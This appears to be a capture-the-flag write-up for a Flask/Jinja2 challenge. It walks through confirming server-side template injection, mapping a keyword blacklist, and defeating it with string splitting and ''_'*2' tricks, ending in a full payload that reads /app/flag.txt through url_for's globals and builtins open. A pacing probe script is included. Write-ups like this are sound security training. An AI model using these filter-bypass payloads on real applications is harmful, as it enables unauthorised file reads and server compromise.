PyCafe

Welcome to PyCafe! Our cozy coffee shop just launched a new web portal where customers can preview custom drink names on the menu.

The owner insists the input filter is tight enough to stop any curious hackers. Can you find a way around it and read /app/flag.txt?

Connections

  • https://desperate-time-tribal-tba.trycloudflare.com

Recon

PyCafe is a single-page Flask app styled as a cafe chalkboard. It has one form field for a drink name, POSTed to the server as a single name parameter, and the server interpolates that value into its template: the response carries a .preview-item div reading Now serving: <name> ☕, plus an .error div for server-side messages. The goal is to read /app/flag.txt past the app’s input filter, which points at server-side template injection (SSTI), where input is evaluated as template code instead of being printed as plain text.

PyCafe form

We opened the site in a browser and typed a plain marker, LATTE-marker-123, into the field, then submitted the form. The chalkboard answered with Now serving: LATTE-marker-123 ☕, so the value lands inside the rendered page. Next we typed {{7*7}} and submitted again, and the preview read Now serving: 49 ☕. The server evaluated the arithmetic instead of echoing it, which is SSTI. The {{ }} expression delimiters, together with a live url_for template global we found while mapping the filter, identify the engine as Jinja2 running on Flask.

SSTI confirmed

Exploitation

Mapping the filter

Mapping the filter needed many submissions, and quick bursts started coming back as 429 with a Retry-After header. We stopped submitting by hand and paced everything through a small Python helper that spaces requests at least 2.8 seconds apart, backs off on 429, and prints the two divs the app responds with, the preview and the error:

import html, re, time, requests

BASE = "https://desperate-time-tribal-tba.trycloudflare.com"
LAST = 0.0

def probe(payload, tries=6):
    global LAST
    for i in range(tries):
        time.sleep(max(0, LAST + 2.8 - time.time()))
        LAST = time.time()
        r = requests.post(BASE, data={"name": payload}, timeout=25)
        if r.status_code != 429:
            break
        time.sleep(5 * (i + 1))
    m = re.search(r'<div[^>]*class="[^"]*preview-item[^"]*"[^>]*>(.*?)</div>', r.text, re.S)
    e = re.search(r'<div[^>]*class="[^"]*error[^"]*"[^>]*>(.*?)</div>', r.text, re.S)
    p = html.unescape(m.group(1).strip()) if m else None
    err = html.unescape(e.group(1).strip()) if e else None
    print(f"{payload}\n  preview={p!r} error={err!r}")

The first question was whether the filter blocks characters or words. We submitted A{B}C.D_E[F]G'H"I|J(K)L%M~N+O, a payload carrying every special character that matters (braces, dot, underscore, brackets, quotes, pipe, parens, percent, tilde, plus), and it echoed back unchanged. There is no character blacklist.

Words were another matter. With each probe costing close to three seconds under the limiter, we did not spend them one word at a time: a single probe carrying all 24 candidate keywords at once came back rejected:

{{ [class,mro,subclasses,globals,builtins,os,open,config,import,request,lipsum,flag,eval,read,attr,popen,system,base,init,subprocess,namespace,cycler,joiner,url_for] }}
  ->  Bad hacker detected! Keyword blocked.

Both halves of that list were rejected too, so we tested every keyword on its own, one {{ keyword }} probe at a time, and got the full map:

Status Keywords
Blocked class, mro, subclasses, globals, builtins, os, open, config, import, request, lipsum, flag, eval, read, popen, system, base, subprocess, namespace, cycler, joiner
Allowed attr, init, url_for

Of the three that pass, {{ url_for }} rendered as <bound method Flask.url_for of <Flask 'app'>>, which confirms the framework and gives us a live object to pivot from. attr passing is just as useful, because Jinja’s |attr() filter, the template equivalent of Python’s getattr, fetches an attribute by a name given as a string, and that is what lets a payload reach attribute names which are blocked as plain words.

Blocked keyword

Substrings, not tokens

The next question was whether the filter inspects parsed tokens or the raw text of the payload. We compared one word submitted whole against the same word split by ~, Jinja’s string concatenation operator:

{{ 'class' }}       ->  Bad hacker detected! Keyword blocked.
{{ "cla" ~ "ss" }}  ->  Now serving: class ☕

The split version renders, so the filter is a raw substring check on the submitted payload, and any blocked word can be cut with ~ and reassembled at render time.

The __ substring ban

Our first full chain split globals as '__glob'~'als__' and was still rejected, even though the word never appears intact. Bisecting that payload, halving it and resubmitting until only the guilty fragment remained, showed that {{ 'x__y' }} is blocked entirely on its own. The filter also rejects the literal substring __, two underscores in a row, so every dunder access is blocked no matter how the words inside are split. Dunders (double-underscore attributes) like __globals__ and __builtins__ are the standard route out of a Jinja2 template, so this rule blocks the standard escape.

Jinja’s string repetition defeats it: '_'*2 builds __ at render time while the raw payload only ever contains '_', *, 2. Verified against the filter:

{{ '_'*2~'cla'~'ss'~'_'*2 }}  ->  Now serving: __class__ ☕

With ~ and * both available, every sensitive token can be assembled at render time. __globals__ becomes '_'*2~'glob'~'als'~'_'*2, __builtins__ becomes '_'*2~'buil'~'tins'~'_'*2, and the remaining blocked words split as 'o'~'pen', 're'~'ad' and '/app/fla'~'g.txt'.

The os dead end and the builtins route

url_for.__globals__ is the globals dictionary of flask.helpers, the module where url_for is defined. Dumping its keys with |attr('keys')()|list showed os, sys, request, Flask and more, so the os module is sitting right there. Reaching it failed anyway: |attr('o'~'s') on the dict returned undefined, and chaining .getcwd() onto that produced the app’s error banner, Error rendering preview. The cause is that |attr() is a getattr, and an imported module lives in a globals dict as a key, not as an attribute, so attribute access can never pull it out.

Dictionary access does work, so the chain switches to .get() (kept split as 'ge'~'t' for consistency). From the flask.helpers globals we fetch __builtins__, the builtins dictionary that every module’s globals carry, and from it the builtin open, which is a plain file read with no subprocess anywhere:

{{ url_for|attr('_'*2~'glob'~'als'~'_'*2)|attr('ge'~'t')('_'*2~'buil'~'tins'~'_'*2)|attr('ge'~'t')('o'~'pen')('/app/fla'~'g.txt')|attr('re'~'ad')() }}

Expanded, this is url_for.__globals__.get('__builtins__').get('open')('/app/flag.txt').read(). Typing it into the form and submitting renders the contents of /app/flag.txt on the chalkboard:

Flag rendered on the chalkboard

Flag capture

When we submitted that payload, the preview div rendered the flag:

Now serving: NVR{SS1I_VERY_EASY_:))}